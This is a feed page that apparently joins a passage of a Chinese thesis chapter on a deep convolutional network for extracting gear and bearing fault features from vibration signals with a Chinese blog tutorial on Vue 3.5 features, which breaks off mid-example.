卷积核大小谐波特征提取器卷积层数 246 1×35.84×1058.69×1064.06×107 1×59.11×1051.42×1076.72×107 1×71.24×1061.98×1079.37×107 1×91.56×1062.54×1071.20×108 综合表 4-3 与表 4-4 的分析可知,将谐波特征提取器的卷积核大小设置为 1×7,卷 积层设置为 4,可避免较高运算量的同时保持较低的重构误差。为增加谐波特征初级提 取的感受野,本文在上述谐波特征提取器最优参数的分析结论基础上,将第一层与第 四层的卷积核大小调整为 1×9,以适应谐波成分的广域分布特点并提高提取效率。 基于上述谐波特征提取器的参数选取分析结果,对冲击特征提取器结构参数进行 分析测试。以在准确冲击时刻重构出的冲击响应数量与理论冲击数量之间的比值作为 冲击特征重构精度评价指标。由表 4-5 可知,冲击特征提取器的卷积核大小设置为 1×5 可以保证较高的冲击重构精度。在层数选择上,6 层卷积相较于 4 层卷积的重构精度提 升有限,且额外引入了近 4 倍的浮点运算次数,因此,本文按卷积核大小为 1×5 的 4 层 卷积设计冲击特征提取器。 表 4-5 冲击特征提取器参数组合的冲击特征重构精度

卷积核大小冲击特征提取器卷积层数 246 1×375%80%80% 1×580%90%90% 1×760%60%65% 综合上述对两种特征提取器的网络参数组合分析结果,表明了表 4-1 所给出的 DCBDN 模型推荐参数能够尽可能降低网络模型的运算复杂度,同时有效分离谐波干扰 并提取冲击故障特征成分,充分验证了所提 DCBDN 网络模型推荐参数的设计合理性。

4.4.2 DCBDN 模型特征提取仿真分析 为验证所提 DCBDN 模型能够有效分离谐波干扰成分并提取冲击故障特征成分,利 用 4.2.2 节的故障仿真模型生成谐波干扰成分与冲击故障特征成分在频谱相互重叠的仿 真信号用于测试分析。仿真测试信号的冲击固有频率 fd =1200Hz,阻尼比 ξ=0.02,冲 击周期T=0.025s(对应冲击故障特征频率 fc =40Hz),幅值 A在 0.5m/s2-1.5 m/s2 间随机选 取;谐波干扰成分的调制频率 f1 =70Hz,载波频率 f2 =970Hz,幅值系数η=1.1,噪声 水平为 0dB,以 51.2kHz 采样频率采集到 0.5s 的仿真测试信号,如图 4-8 所示。在具有 较强谐波干扰和噪声影响的情况下,仿真测试信号的时域特征中无法直接观察出明显 的冲击特征,且无法分辨出可用于诊断的时域周期特征; 对仿真测试信号频谱分析可 见,谐波干扰的频率成分与冲击故障的特征频带相重叠, 不易于分离出冲击故障特征 成分并用于故障诊断。

(a) 仿真测试信号时域 (b) 仿真测试信号频域 图 4-8 仿真测试信号时域图及频谱 利用 4.2.2 节所构造的数据集对采用表 4-1 参数设计的 DCBDN 模型进行训练,模 型损失权重系数 ω1 和 ω2 均设置为 0.5。截取前 50 轮迭代的谐波特征损失Lhc 和冲击特征 损失Lim 分析网络模型的收敛情况,结果如图 4-9 所示。

图 4-9 DCBDN 模型训练特征提取器损失曲线

结合 4.2.1 节 DCBDN 模型的特征学习与参数更新原理对上图分析可知,由于冲击 故障特征提取器基于谐波特征提取器在上一轮次优化后的特征提取效果完成动态参数 更新,其网络参数会更快收敛到局部最优解,表现为冲击特征损失下降率明显快于谐 波特征提取器,并且结果表明 DCBDN 模型已稳定收敛到局部最优解。 将仿真测试信号输入到训练完备的 DCBDN 模型,分别截取谐波特征和冲击故障特 征重构信号进行分析,结果如图 4-10 所示。在时域上,冲击特征重构信号不仅去除了 大量的谐波干扰和噪声,而且可直观分辨出具有明确的周期冲击间隔的冲击特征成 分。在频谱上,与图 4-8(b)测试信号频谱相比,图 4-10(c)谐波特征重构信号频谱以载波 频率 f2 及其调制边频带为主,图 4-10(d)冲击特征重构信号频谱主要以固有频率fd 附近 的故障特征调制边频成分为主,直观表明了 DCBDN 模型对谐波干扰成分和冲击故障特 征成分完成了有效分离;在解调分析上,谐波特征重构信号解调谱中仅出现了调制频 率f1 及其倍频,冲击特征重构信号解调谱中则可直观分辨出故障特征频率fc 及其多阶倍 频成分,充分验证了所提方法能够有效分离谐波干扰特征并提取冲击特征成分。

(a) 谐波特征重构信号时域

(c) 谐波特征重构信号频谱

(e) 谐波特征重构信号解调谱

(b) 冲击特征重构信号时域

(d) 冲击特征重构信号频谱

(f) 冲击特征重构信号解调谱

图 4-10 DCBDN 特征重构信号分析结果

为了进一步突出所提 DCBDN 模型的二元特征输出约束模式能够在含谐波干扰情况 下的冲击故障特征提取优势,以下采用深度卷积去噪自编码网络(Deep Convolutional Denoising Autoencoder ,DCDAE)[102]和基于快速谱峭度的局部故障特征提取方法[20]作为 对比方法,对本节构建的仿真测试信号进行局部故障特征提取对比分析。其中,为保 证公平,DCDAE 方法采用与所提 DCBDN 方法相同的 8 层卷积网络深度,以尽可能确 保网络模型的特征学习性能接近,其余网络参数则采用文献[102]的推荐值,并且采用 与所提方法相同的仿真数据集完成网络训练。 利用快速谱峭度方法对仿真测试信号进行处理,得到图 4-11 所示的仿真测试信号 的快速谱峭度图,结果显示测试信号频谱中以中心频率为 800Hz 且带宽为 1600Hz 的频 带特征分量局部谱峭度值最高,因此采用带通滤波将该特征频带进行滤波重构,得到 快速谱峭度方法冲击故障特征重构信号,如图 4-12 所示。

图 4-11 仿真测试信号快速谱峭度图

(a) 快速谱峭度特征重构信号 (b) 快速谱峭度特征重构信号频域 图 4-12 快速谱峭度特征重构信号及其频谱 结合谱峭度图分析,由于快速谱峭度方法所定位的特征频带同时包含冲击故障调 制成分和谐波干扰的频率特征成分,仅去除了部分高频噪声成分,因此在时域和频谱 上均表现为谐波干扰成分与周期冲击特征相混合,无法有效解耦混合特征。

将仿真测试信号输入到训练完备的 DCDAE 模型提取冲击故障特征,得出如图4-13 的冲击特征重构信号,由于采用特征顺序传递的单输出模式,DCDAE 模型特征重构信 号中仍存在较为明显的谐波干扰成分,在频谱中,谐波干扰成分仍与冲击故障调制频 带相重叠,未能有效提取出冲击故障特征成分。

(a) DCDAE 特征重构信号 (b) DCDAE 特征重构信号频域 图 4-13 DCDAE 特征重构信号及其频谱 分别对快速谱峭度方法的滤波重构信号以及 DCDAE 的冲击特征重构信号进行希尔 伯特解调分析,结果如图 4-14 所示,对比方法均无法有效解耦谐波干扰与冲击故障特 征,且在对应的解调谱中同时出现了冲击故障特征频率 fc 的多阶倍频和以谐波调制频 率 f1 为间隔的边频带,相较于图 4-10(f)所提方法的冲击重构特征解调谱,对比方法的 解调结果均无法直观分辨出故障特征频率的多阶倍频特征分布模式,且容易导致误诊 断的问题,充分表明了所提方法对谐波干扰下的含噪冲击特征提取具有明显的优势。

(a) 快速谱峭度特征重构信号解调谱 (b) DCDAE 特征重构信号解调谱 图 4-14 对比方法特征重构信号解调分析 4.4.3 DCBDN 模型抗干扰性能仿真分析 为进一步验证所提方法谐波干扰分离和冲击故障特征提取的有效性,本节从网络 模型特征提取效果的抗干扰性能对 DCBDN 模型进行分析。通过调节 4.4.2 节所构造的 仿真测试信号谐波干扰幅值系数η以 0.2 为步长在 0.5~1.5 范围内取值,生成 6 种不同强 度谐波干扰下的冲击特征仿真信号,对每种仿真信号分别施加 0dB 、2dB 和 4dB 的高斯 白噪声,构造出 18 种含有 20 个理论冲击的仿真测试信号样本用于分析。

利用 4.2.2 节所构造的仿真数据集按 4..2.1 节的特征学习方法训练 DCBDN 模型, 将 18 种仿真测试信号分别输入到训练完备的 DCBDN 模型进行谐波干扰分离和冲击特 征提取,截取谐波干扰特征输出与理论谐波干扰分量求解均方根误差以进行谐波特征 重构误差分析,以冲击特征重构信号中在准确位置重构的冲击特征数量与理论冲击数 量之比分析 DCBDN 模型的冲击特征重构精度,分析结果如图 4-15 所示。

(a) DCBDN 谐波特征重构误差分析 (b) DCBDN 冲击特征重构精度分析 图 4-15 DCBDN 模型特征提取抗干扰性能分析 对图 4-15(a)谐波特征重构误差结果分析,随着仿真测试信号的谐波干扰成分幅值 系数η 的增大,测试样本时域特征的谐波成分占比变大,重构特征与理论分量之间的 差别在幅值占比上降低导致重构误差减小,而在低信噪比(0dB)、弱谐波干扰(η=0.5)情 况下,所提方法仍能保持较好的谐波特征提取性能,验证了所提方法的谐波干扰分离 效果具有较好的抗干扰性能。对图 4-15(b)冲击特征重构精度分析,随着谐波干扰的增 强,不同噪声水平下的冲击特征重构精度虽有所下降,但仍可保证 70%以上的冲击特 征在准确位置重构,而且重构精度受噪声水平的影响并不明显,表明所提方法冲击特 征提取效果具有较好的抗谐波和随机噪声干扰性能,充分验证了所提方法谐波干扰分 离和冲击故障特征提取的有效性。 4.5 实验研究 为验证所提方法的实用性,利用训练完备的 DCBDN 模型对实测滚动轴承全寿命周 期信号、滚动轴承局部故障信号以及齿轮断齿故障信号进行局部故障特征提取,并与 深度卷积去噪自编码网络(DCDAE)以及基于快速谱峭度的特征提取方法进行局部故障 特征提取效果对比分析,以突出所提方法二元特征输出网络结构对微弱故障特征以及 谐波干扰下的局部故障特征提取的有效性。

4.5.1 滚动轴承微弱故障实验分析 本节同样选用西安交通大学滚动轴承加速寿命试验数据集中的外圈故障全寿命周 期信号进行分析。以 LDK-UER204 型滚动轴承作为实验对象,在图 4-16(a)所示实验平 台上进行加速寿命试验并以采样频率 fs =25.6kHz 采集信号,在工作载荷为径向负载 12kN 及工作转速为 2100r/min 的工况下,被测滚动轴承最终发生图 4-16(b)所示外圈裂 损故障,通过轴承参数以及运转参数求得外圈故障特征频率 fc =107.91Hz。

(a) 西安交通大学轴承实验平台 (b) 轴承外圈裂损故障 图 4-16 实验平台及轴承外圈故障 对所选滚动轴承全寿命周期信号进行时域特征均方根(RMS)曲线分析,在 RMS 曲 线发生突变的时刻表明轴承外圈裂损故障从平稳扩展期向快速扩展期转变,因此在状 态突变前后分别在图 4-17 所示位置截取时长为 0.5s 的实验信号 1 和实验信号 2,以实验 信号 1 作为裂损故障进一步扩展阶段,实验信号 2 作为外圈局部故障早期故障阶段,对 所提方法以及对比的 DCDAE 方法和快速谱峭度方法分别进行滚动轴承微弱局部故障特 征提取效果对比分析,以突出所提方法的故障特征提取性能优势。

图 4-17 实验平台及轴承外圈故障 通过希尔伯特解调对实验信号分析,结果如图 4-18 所示,由于实验信号 1 处于 RMS 曲线突变后的裂纹快速扩展阶段,在图 4-18(a)的解调谱中容易分辨出故障特征频

率 fc ,但无明显倍频成分,而由于实验信号 2 处于早期故障阶段,在图 4-18(b)的解调 谱中无明显故障特征频率及其倍频成分,无法判断轴承是否发生故障。

(a) 实验信号 1 解调谱 (b) 实验信号 2 解调谱 图 4-18 实验信号解调分析 利用 DCBDN 模型、DCDAE 模型和快速谱峭度方法分别对实验信号进行局部故障 特征提取效果对比分析。在本节实验研究中,由于实验平台并未涉及齿轮传动,采集 到的信号中谐波干扰成分的影响较小,因此将 DCBDN 模型分量损失权重ω1 和ω2 分别 设置为 0.3 和 0.7 并完成网络训练得到训练完备的网络模型。此外,对两段实验信号进 行快速谱峭度分析,结果见图 4-19,实验信号 1 频谱特征中以中心频率为 6200Hz,带 宽为 400Hz 的频带特征局部峭度值最大,实验信号 2 的频谱特征中则以中心频率为 11733.3Hz,带宽为 2133.3Hz 的频带特征局部峭度值最大。

(a) 实验信号 1 快速谱峭度图 (b) 实验信号 2 快速谱峭度图 图 4-19 实验信号谱峭度分析 DCBDN 模型以及对比方法 DCDAE 模型和快速谱峭度方法对实验信号 1 的局部故 障特征提取结果如图 4-20 所示,并通过希尔伯特解调对各方法的特征提取结果进行对 比分析。在时域上,三种方法均提取出了冲击特征,但所提 DCBDN 模型的特征重构信

号中冲击特征成分更多且具有较明显的周期冲击间隔,相较而言两种对比方法由于噪 声和其他干扰出现了特征提取不充分的问题。在解调结果上,所提 DCBDN 模型特征重 构信号解调谱中可直观分辨出滚动轴承外圈故障特征频率 fc 及其 8 个倍频成分,较于 图 4-18(a)原信号解调谱可更直观诊断出被测轴承发生了外圈故障,而 DCDAE 模型的 解调谱中仅出现了故障特征频率 fc 及其 3 个倍频成分,快速谱峭度方法的解调谱中仅 出现了故障特征频率 fc 而无倍频成分。上述分析表明所提 DCBDN 模型相较于对比方 法可在故障发展阶段更有效提取出冲击故障特征成分实现有效诊断。

(a) DCBDN 重构信号

(c) DCDAE 重构信号

(e) 快速谱峭度滤波重构信号

(b) DCBDN 重构信号解调谱

(d) DCDAE 重构信号解调谱

(f) 快速谱峭度滤波重构信号解调谱

图 4-20 实验信号 1 特征提取效果对比分析 为进一步验证所提基于 DCBDN 模型的局部故障特征提取方法的有效性和性能优越 性,利用所提方法和对比方法分别对实验信号 2 进行局部故障特征提取并分析,得到如 图 4-21 所示的不同方法冲击特征重构信号及其对应的解调谱。由于实验信号 2 处于早 期微弱故障阶段,故障冲击特征幅值较小且在噪声的影响下并不明显,但所提 DCBDN 模型依旧能够有效提取出绝大部分的等间隔冲击特征成分,而对比方法 DCDAE 模型和

快速谱峭度方法的特征重构信号虽然也提取出了部分冲击特征,但特征丢失情况更为 严重且无明显的周期冲击间隔。通过解调分析可见,所提方法的解调谱在早期微弱故 障阶段仍能够直观分辨出故障特征频率 fc 及其 3 个倍频成分,对比之下,DCDAE 模型 和快速谱峭度方法由于未能有效提取出反映故障分布模式特征成分,且解调谱均无法 直观分辨出故障特征频率成分,基本无法用于故障诊断。综合上述分析,所提 DCBDN 模型不仅可以有效提取实测滚动轴承故障信号中的冲击特征,而且相较于对比方法具 有更好的早期微弱故障特征提取能力。

(a) DCBDN 重构信号

(c) DCDAE 重构信号

(e) 快速谱峭度滤波重构信号

(b) DCBDN 重构信号解调谱

(d) DCDAE 重构信号解调谱

(f) 快速谱峭度滤波重构信号解调谱

图 4-21 实验信号 2 特征提取效果对比分析 4.5.2 齿轮断齿故障实验分析 为了进一步验证所提方法在含谐波干扰的情况下的局部故障特征提取有效性,以 三轴五档汽车变速器的输出轴上存在中度断齿故障的齿轮作为研究对象,在如图 4-22 的实验平台进行实验测试,从实验平台的输出传动形式可知,由于采用的是万向轴传 动输出,因此实验平台中存在一定程度输出轴不对中所附带的输出转频谐波干扰情

况,对输出轴齿轮的局部故障诊断造成困难。实验平台输入转速设置为 1250rpm,拖动 负载设置为 50N·m,固定在变速器壳体的加速度传感器采样频率为 24kHz,变速器的结 构和运行参数如表 4-6 所示,在本例的实验研究中输出轴中度断齿故障特征频率 fc 和 输出轴转频 fo 相同,均为 27.2Hz。

(a) 汽车五档变速器实验平台 (b) 输出轴齿轮中度断齿 图 4-22 实验平台及输出轴齿轮中度断齿故障 表 4-6 三轴五档汽车变速器结构和运行参数

参数常啮合齿轮副 主动轮 从动轮第五档齿轮副 主动轮 从动轮 齿数26 3842 22 转频20.83Hz 14.25Hz14.25Hz 27.21Hz 啮合频率fz1 =541.67Hzfz2 =541.67Hz 从采集到的振动信号中截取一段时长为 1s 的实验信号进行断齿故障分析,幅值归 一化后,得到图 4-23(a)所示实验信号时域波形,由于采用万向传动轴进行输出,信号 中存在较为明显的低频谐波成分和噪声干扰,使得时域故障特征不明显,且由于故障 特征频率与输出转频一致,无法通过图 4-23(b)的解调谱对齿轮断齿故障诊断。

(a) 实验信号时域波形 (b) 实验信号解调谱 图 4-23 汽车五档变速器实验信号及其解调谱

对实验信号进行频谱分析,结果如图 4-24,在分析频带内无法直观定位出由齿轮 局部故障缺陷表面接触所激起的多阶共振峰,而且对 03000Hz 频带分析可见,实验信 号的低频部分存在较强烈的输出转频 fo 及其多阶倍频成分,与时域波形所表现的低频 谐波干扰相对应。同时中高频部分含有齿轮箱的常啮合齿轮副和五档齿轮副的啮合频 率 fz1和fz2 的多阶倍频及其输出转频调制谐波干扰成分,并且在 2200Hz2500Hz 共振带 附近,部分齿轮断齿故障冲击调制成分与五档齿轮副啮合频率 fz2 的四阶倍频及其输出 转频 fo 调制边带相互重叠,此时由于故障特征频率 fc 和输出轴转频 fo 相同,无法直接 利用解调谱诊断是否存在输出轴断齿故障。

图 4-24 汽车五档变速器实验信号频谱 由于本例中含有大量的谐波干扰成分,使得齿轮中度断齿故障冲击特征无法保持 原有的时域特征及其分布模式,需要先对谐波干扰成分进行针对性去除以准确提取冲 击故障特征,因此在本例中适当增加对谐波干扰成分的特征学习权重,将 DCBDN 模型 的分量损失权重系数ω1 和ω2 均设置为 0.5 并完成网络训练。 将归一化后的实验信号输入到训练完备的 DCBDN 模型,截取谐波特征提取器的特 征输出进行时域波形和 0~3000Hz 频谱分析,结果如图 4-25 所示,谐波重构信号中主要 是以低频特征成分为主,与图 4-23 实验信号中的低频干扰成分基本相同。对重构信号 频谱进一步分析,通过与 4-24 的实验信号频谱对比,谐波特征提取器不仅有效提取出

了对故障冲击时域特征影响较大的输出转频 fo 及其多阶倍频干扰成分,而且准确提取 出了变速器两级齿轮副的啮合频率 fz1 和fz2 的多阶倍频及其输出转频调制边带谐波成分, 此外,图 4-24 中 2500Hz 附近共振带的故障冲击调制成分未被误提取到谐波特征重构信 号中,验证了所提方法能够有效分离实测信号中的谐波干扰成分。

(a) DCBDN 谐波特征重构信号 (b) DCBDN 谐波特征重构信号频谱 图 4-25 DCBDN 谐波特征重构信号及其频谱 上述提取出的谐波干扰成分经过 DCBDN 模型中的特征余量求解处理后,将其从输 入信号中分离,以特征余量向前传递输入到冲击特征提取器进行冲击特征提取,得到 冲击特征重构信号并进行希尔伯特解调分析,结果如图 4-26 所示,由于经过谐波干扰 成分分离,冲击特征提取器输出的特征重构信号中去除了实验信号中的大部分谐波干 扰成分和噪声成分,可直观分辨出具有明确冲击间隔的冲击故障特征。此外,冲击特 征重构信号的解调谱中出现了故障特征频率 fc 及其 6 个倍频成分,相较于图 4-23(b)的 实验信号解调谱具有更明显的特征倍频成分, 而且结合时域的明确周期冲击特征成分, 解调谱中的多阶故障特征频率成分具有更明确的物理意义,可以利用该解调谱诊断出 该汽车变速器的五档输出齿轮发生齿轮断齿故障。

(a) DCBDN 冲击特征重构信号 (b) DCBDN 冲击特征重构信号解调谱 图 4-26 DCBDN 冲击特征重构信号及其解调谱

为进一步验证所提方法在实际应用中对谐波干扰下的局部故障特征提取的性能优 势,同样采用 DCDAE 模型和快速谱峭度方法作为对比方法,分别对本例的实验信号进 行局部故障特征提取并与所提方法进行对比分析。 对 DCDAE 模型进行分析,将实验信号输入到网络模型进行冲击特征提取,得到如 图 4-27(a)所示的特征重构信号,尽管 DCDAE 模型也能提取出断齿故障激起的部分冲 击特征成分,但与图 4-26(a)相比而言,无法从特征重构信号中找到明确的时域冲击间 隔,且在解调谱中仅能直观分辨出故障特征频率 fc 及其 3 倍频成分,不及所提方法的 7 阶故障特征频率成分所反映的明确故障指示效果。

(a) DCDAE 冲击特征重构信号 (b) DCDAE 冲击特征重构信号解调谱 图 4-27 DCDAE 冲击特征重构信号及其解调谱 利用快速谱峭度方法对本例的实验信号进行分析,得到图 4-28 所示实验信号的快 速谱峭度图,分析显示实验信号频谱中以中心频率为 11812.5Hz,带宽为 375Hz 的频带 特征的局部谱峭度值最大,结合图 4-24 原信号频谱分析可知,由于分析频带内无明显 共振峰,且断齿故障冲击调制成分与两级齿轮副的高阶啮合频率的输出转频调制边带 相重叠,降低了冲击调制边频带的谱峭度值,因此目标频带处于频谱的高频区域。

图 4-28 实验信号快速谱峭度图

对目标频带滤波重构信号进行时域及解调分析,结果如图 4-29 所示。由于目标频 带未能有效定位到故障冲击调制频带,滤波重构信号中仅提取出了部分冲击特征成分 且伴随着较多的高频干扰成分,尽管解调谱中出现了故障特征频率 fc 及其 3 倍频成分, 但是时域特征中无明显的周期冲击间隔与之相对应,特征提取效果及其对应的解调结 果均不及所提方法。

(a) 快速谱峭度滤波重构信号 (b) 快速谱峭度滤波重构信号解调谱 图 4-29 快速谱峭度滤波重构信号及其解调谱 通过本例的实验分析,充分验证了所提基于 DCBDN 模型的局部故障特征提取方法 可以对含谐波干扰的故障振动信号有效分离谐波干扰成分并实现冲击故障特征成分有 效提取,相较于对比方法 DCDAE 模型和快速谱峭度方法,所提方法具有较好的抗谐波 干扰性能和故障特征提取性能。 4.6 本章小结 本章通过对单输出深度学习模型构建模式在含谐波干扰的振动信号故障特征解耦 提取的局限性分析,从网络框架构造和特征提取网络设计两个方面展开研究,提出了 一种基于深度卷积二元分解网络(DCBDN)的齿轮和轴承局部故障特征提取方法。通过 稀疏低秩模型的交替更新迭代求解思想改进堆叠网络框架,并利用自编码网络与低秩 特征约束的对应关系,设计先解码后编码的内部特征提取器,搭建 DCBDN 模型;利用 故障仿真模型构建数据集对网络模型训练,通过特征余量构建分量输出损失间的内在 联系,对网络模型参数进行动态链式更新;利用训练完备的 DCBDN 模型对振动信号进 行谐波干扰分离和冲击故障特征提取,完成故障诊断。主要结论包括: (1)通过在堆叠网络模型的基础上增加内部特征提取网络的特征输出,并引入特征 余量求解过程以改进网络模型的特征传递模式,能够在特征传递过程中逐步去除干扰 成分对目标特征成分的影响,有助于提高特征提取的准确率并减少误提取情况。

(2)所提二元分解网络模型训练方法,以混合特征信号作为输入,对每种特征输出 赋予对应的标签序列求解损失,通过特征余量构建起特征损失之间的内在联系,实现 了网络参数的动态链式更新, 有效提高网络的特征学习效率,并且特征余量求解过程 在网络特征学习过程中能够有效避免梯度消失的问题,保障了模型训练的稳定性。 (3)仿真研究和实验分析表明,所提方法通过谐波干扰去除和冲击故障特征提取, 相较于深度卷积去噪自编码网络(DCDAE)和快速谱峭度方法, 能够更有效提取出局部 故障特征,并且有更好的抗谐波干扰性能。

by 深度学习乐园 at January 20, 2025 04:42 AM

juejin frontend

vue3.5的更新保证你看的明明白白

子组件中设置默认属性

<template>
  <div class="child-page">
    <h1>我是子组件</h1>
    <h3>{{ total }}</h3>
    <h3>{{ userInfo }} </h3>
  </div>
</template>

<script setup>
// 在<script setup>defineProps其实可以不用显示导入,因为编译器会自动处理
import {defineProps} from 'vue'
defineProps({
  total:{
    type:Number,
    default:10
  },
  userInfo:{
    type:Object,
    required: true,
    default:()=> {
      return {
        name: '罗峰[金角巨兽]',
        age: 100
      }
    }
  }
})

为啥解构失去响应式

解构会让基本数据类型失去响应式。引用数据类型则不会失去响应式。
为啥基本数据类型解构就会失去响应式呢?
回答:因为Vue3使用了Proxy作为响应式的底层实现,
而基本数据类型不是可观察的,无法被Proxy拦截。

验证解构失去响应式

// 父组件
<template>
  <div class="art-page">
    <button @click="changeHandler">改变</button>
    <child :total="total" :userInfo="userInfo"></child>
  </div>
</template>

<script setup>
import child from '@/components/child.vue'
import { ref,reactive } from 'vue';
let total=ref(100)
let userInfo =reactive({name: '张三', age:30})
const changeHandler = ()=>{
  total.value += 1000
  userInfo.age += 1
}
</script>
// 子组件
<template>
  <div class="child-page">
    <h1>我是子组件</h1>
    <h3>{{ total }}</h3>
    <h3>{{ userInfo }} </h3>
    <button @click="getValueHandler">获取值</button>
  </div>
</template>

<script setup>
import {defineProps, toRefs} from 'vue'
let props = defineProps({
  total:{
    type:Number,
    default:10
  },
  userInfo:{
    type:Object,
    required: true,
    default:()=> {
      return {
        name: '罗峰[金角巨兽]',
        age: 100
      }
    }
  }
})
// 基本数据类型解构失去响应式
const { total, userInfo} =props
const getValueHandler = ()=>{
  console.log('total', total)
  console.log('userInfo',userInfo)
}
</script>

vue3.5之前使用toRefs或toRef解构不会失去响应式

// 子组件
<template>
  <div class="child-page">
    <h1>我是子组件</h1>
    <h3>{{ total }}--{{ totalValue }}</h3>
    <h3>{{ userInfo }} --{{ userInfoObj }}</h3>
    <button @click="getValueHandler">获取值</button>
  </div>
</template>

<script setup>
import {defineProps, toRefs, toRef} from 'vue'
let props = defineProps({
   ...代码不变,省略
})
// 普通结构失去响应式
const { total, userInfo} =toRefs(props)

const totalValue = toRef(props, 'total');
const userInfoObj = toRef(props, 'userInfo')

const getValueHandler = ()=>{
  console.log('total', total)
  console.log('userInfo',userInfo)
}
</script>

vue3.5直接解构不会失去响应式(不需要使用toRefs或者toRef)

<template>
  <div class="child-page">
    <h1>我是子组件</h1>
    <h3>{{ total }}</h3>
    <h3>{{ userInfo }} </h3>
    <button @click="getValueHandler">获取值</button>
  </div>
</template>
<script setup>
import {defineProps } from 'vue'
// vue3.5之后直接解构不会失去响应式
const { total, userInfo} = defineProps({
  total:{
    type:Number,
    default:10
  },
  userInfo:{
    type:Object,
    required: true,
    default:()=> {
      return {
        name: '罗峰[金角巨兽]',
        age: 100
      }
    }
  }
})
const getValueHandler = ()=>{
  console.log('total', total)
  console.log('userInfo',userInfo)
}
</script>

vue3.5 解构的时候直接设置默认值

我们刚刚是这样写默认值的,是不是感觉有点麻烦。

const { total, userInfo} = defineProps({
  total:{
    type:Number,
    default:10
  },
  userInfo:{
    type:Object,
    required: true,
    default:()=> {
      return {
        name: '罗峰[金角巨兽]',
        age: 100
      }
    }
  }
})

vue3.5vue3.5 解构的时候直接设置默认值,与es6的函数设置默认值一样了

<template>
  <div class="child-page">
    <h1>我是子组件</h1>
    <h3>{{ total }}</h3>
    <h3>{{ userInfo }} </h3>
    <button @click="getValueHandler">获取值</button>
  </div>
</template>

<script setup>
import {defineProps, toRefs, toRef} from 'vue'
// vue3.5 解构的时候直接设置默认值
const { total=10, userInfo= {name: '罗峰[金角巨兽]', age: 100} } = defineProps({
  total:{
    type:Number,
    // default:10
  },
  userInfo:{
    type:Object,
    required: true,
    // default:()=> {
    //   return {
    //     name: '罗峰[金角巨兽]',
    //     age: 100
    //   }
    // }
  }
})
const getValueHandler = ()=>{
  console.log('total', total)
  console.log('userInfo',userInfo)
}
</script>

解构后如何监听

<template>
  <div class="child-page">
    <h1>我是子组件</h1>
    <h3>{{ total }}</h3>
    <h3>{{ userInfo }} </h3>
  </div>
</template>

<script setup>
import {defineProps, toRefs, toRef, watch} from 'vue'
const { total=10, userInfo= {name: '罗峰[金角巨兽]', age: 100}} = defineProps({
  total:{
    type:Number,
  },
  userInfo:{
    type:Object,
    required: true,
  }
})
// 需要监听解构后的属性,我们要这样写,把它包装在getter中
watch(()=>total, (newValue, oldValue)=>{
 console.log('total', newValue)
})
</script>

监听解构后的属性,如果这样写会报错

watch(total, (newValue, oldValue)=>{
 console.log('total', newValue)
})

项目会提示:total" is a destructured prop and should not be passed directly to watch(). Pass a getter () => total instead.
大概意思是:total”是一个解构的道具,不应该直接传递给watch()。
请传递一个getter()=>total。

vue3.5新增 useTemplateRef

useTemplateRef函数的用法很简单:
只接收一个参数key,这个字符串表示你要获取哪一个节点, 返回值是一个ref变量。
为啥会有这个方法?
我猜想的是通过原来通过ref获取DOM节点会让人分不清楚是变量还是DOM节点。

useTemplateRef 获取DOM节点

<template>
  <div class="art-page">
    // 我要获取这个节点
    <div ref="divNode">我是div</div>
    <button @click="getNodeHandler">获取div节点</button>
  </div>
</template>
<script lang="ts" setup>
import { useTemplateRef } from 'vue'
// useTemplateRef接受的是一个字符串,这个字符串表示你要获取哪一个节点
const divNode = useTemplateRef<HTMLElement>("divNode");
const getNodeHandler=()=>{
  if(divNode.value){
    divNode.value.innerText = '通过dom来赋值';
  }
  // 等价与 divNode.value && (divNode.value.innerText = '通过dom来赋值');
}
</script>

hooks中使用 useTemplateRef

// hooks文件
import { useTemplateRef } from 'vue'
export default function useRef(eleKey:string, contValue:string){
  const elementNode = useTemplateRef<HTMLElement>(eleKey);
 function setNodeElement(){
  console.log(elementNode.value);
  if(elementNode.value){
    elementNode.value.innerText = contValue;
  }
 }
 return { setNodeElement}
}
// 使用的文件
<template>
  <div class="art-page">
    <div ref="divNode">我是div</div>
    <button @click="getNodeHandler">获取div节点</button>
  </div>
</template>
<script lang="ts" setup>
import useRef from '@/hooks/useNode'
const { setNodeElement } = useRef('divNode', '哈哈-这个是hooks');
const getNodeHandler = ()=>{
  setNodeElement()
}
</script>

Vue 3.5新增useId 函数

useId是Vue3.5中引入的一个函数,用于生成唯一的ID。
它的主要用途是为组件或DOM元素中唯一的标识符,
避免在 SSR(服务器端渲染)或客户端渲染中因ID重复而导致的问题。
唯一性的前提是:必须在同一个createApp中才是唯一的,如果项目中有多个createApp,那么id就重复了。

多个createApp那么id就重复

// src\main.ts 文件
import { createApp, h, onMounted, useId } from "vue";
createApp({
  setup(){
    onMounted(()=>{
      console.log('app1', useId())
    })
    return ()=> h('div', 'hello world')
  }
}).mount('#app')

createApp({
  setup(){
    onMounted(()=>{
      console.log('app2', useId())
    })
    return ()=> h('div', 'hello world')
  }
}).mount('#app')

这个时候我们发现:app1和app2的id是重复的。

多个createApp如何解决id重复问题

我们可以加一个前缀就可以把这个问题给解决了

import { createApp, h, onMounted, useId } from "vue";
createApp({
  setup(){
    onMounted(()=>{
      console.log('app1', useId())
    })
    return ()=> h('div', 'hello world')
  }
}).mount('#app')
let app2 = createApp({
  setup(){
    onMounted(()=>{
      console.log('app2', useId())
    })
    return ()=> h('div', 'hello world')
  }
})
// 给app2加上一个前缀
app2.config.idPrefix = 'app2'
app2.mount('#app')

vue内置组件 Teleport

Vue内置 它可以将Teleport组件的内容移动到指定元素下。
在Teleport组件传送时,vue3.4之前要求目标元素在组件挂载时已经存在。
也就是说: 移动到目标元素必须在Teleport组件的前面。
Vue 3.5 引入了 defer 属性,允许传送的内容到后才渲染目标元素。

目标元素必须在Teleport组件的前面才能渲染

<template>
  <div class="art-page">
      <Teleport to="#target-node">
        <h1>我是传送的h1</h1>
        <h1> 等会会被传送</h1>
      </Teleport >

      <p>我是分割线==========我是分割线</p>
      // 现在目标元素在Teleport组件的后面,这样渲染会失败的
      <div id="target-node"></div>
      <p>我是分割线==========我是分割线</p>
  </div>
</template>

那怎么处理这个问题呢?

有的小伙伴会说:这个简单,我把目标元素放在Teleport组件的前面就行了。
确实:这样是可以的。换一下位置。
在vue3.5的版本中,我们只需要使用defer属性即可。

vue3.5中defer属性的作用

以通过 defer 来延迟 Teleport 的挂载。
它会等到同一更新周期中的所有其他 DOM 内容都渲染完毕后,再挂载到目标容器下。

延迟传送(defer Teleport)

<template>
  <div class="art-page">
      <Teleport defer to="#target-node">
        <h1>我是传送的h1</h1>
        <h1> 等会会被传送</h1>
      </Teleport >

